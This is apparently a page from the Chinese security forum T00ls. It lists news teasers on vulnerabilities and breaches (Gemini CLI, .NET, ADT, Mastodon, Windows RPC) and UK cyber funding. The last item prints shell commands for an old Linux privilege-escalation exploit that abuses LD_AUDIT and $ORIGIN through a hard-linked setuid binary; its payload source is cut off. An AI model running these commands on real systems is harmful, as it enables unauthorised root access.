Google Gemini CLI 漏洞允许攻击者在主机系统上执行命令
Google Gemini CLI 及其关联的 GitHub Action 中存在一个严重的远程代码执行漏洞。该漏洞的 CVSS 严重性评分为 10.0，最高级别为 10.0。该漏洞允许非特权外部攻击者直接在主机系统上执行命令。这一漏洞实际上将自动化 CI /CD 管道变成了供应链中的潜在攻击途径。与典型的 AI 漏洞利用不同，这种漏洞利用并不依赖于即时注入 ...
微软发布紧急带外更新修复.NET组件中的权限提升漏洞 该漏洞评分达9.1分
微软开发的.NET 是很多应用程序运行的底层组件，微软同时支持多个.NET 版本，不过微软也建议开发者和 IT 管理员不要运行那些已经停止支持的版本，因为旧版本可能会因为安全漏洞给客户造成安全风险。不过本文要说的是.NET 还在受支持的版本出现的安全漏洞，这个安全漏洞的评分达到 9.1 分，鉴于漏洞危害程度较高，微软已经发 ...
家居安防企业ADT遭遇未授权网络入侵并有客户信息被窃取
在今天分享的一份声明中，该公司表示，它在4月20日检测到对客户和潜在客户数据的未经授权的访问，之后它终止了入侵并展开了调查。这项调查确定个人信息在违规过程中被窃取。“调查证实，所涉及的信息仅限于姓名、电话号码和地址，”ADT告诉BleepingComputer。“在一小部分案例中，出生日期和社会保险号或税号的最后四位数字 ...
社交媒体平台Mastodon遭DDoS攻击，
前言目前官方尚未确认Mastodon DDoS攻击事件的具体攻击者或所属黑客组织。Mastodon官方在事件通报中明确表示，不清楚攻击来源，也未公布任何指向性线索。1. 攻击目标与影响主要目标：攻击集中针对 Mastodon 的旗舰实例（即主要服务器）mastodon.social。影响表现：受攻击期间，该服务器几乎无法正常访问，大量 ...
Windows RPC 新漏洞允许攻击者在所有 Windows 版本中提升权限
PhantomRPC 是 Windows 远程过程调用 (RPC) 中新发现的一种架构漏洞，它能够将本地权限提升到 SYSTEM 级别访问权限，可能会影响所有版本的 Windows。这项研究由卡巴斯基应用安全专家 Haidar Kabibo 于 4 月 24 日在 Black Hat Asia 2026 大会上发表，详细介绍了五种不同的攻击途径，而微软尚未对其中任何一种途径发布补丁。 ...
英国政府宣布向网络安全领域投入9000万英镑（约合1.2亿美元），旨在增强它本国网络安全能力
贾维斯说，除此之外，政府旨在帮助组织实施网络基本标准。去年夏天，季度认证首次超过10，000个里程碑。在CYBERUK期间对媒体发表讲话时，NCSC国家复原力主任Jonathan Ellison表示，上一财年对网络必需品的需求比上一财年增长了20%左右。他指出，这是该项目有史以来最好的一年，但希望看到更多的吸收。贾维斯还呼吁每个主要 ...
exp，对部分2.6.18*的有用
应该是2010年出的吧，可能有部分同学那时没有注意到，此方法可以提低版本的2.6.18*.2012就不用试了，2011的有时可以成功[code="cpp"]mkdir /tmp/exploitln /bin/ping /tmp/exploit/targetexec 3< /tmp/exploit/targetrm -rf /tmp/exploit/gcc -w -fPIC -shared -o /tmp/exploit payload.c LD_AUDIT="$ORIGIN" exec /proc/self/fd/3[/code]payload.c[code="cpp"]void __attribute__((cons ...
T00ls.Com版权所有。T00ls所有原创文章未经管理团队许可，禁止一切形式的转载。当前正在使用CDN加速。
Copyright © 2008 - 2026 T00ls All Rights Reserved.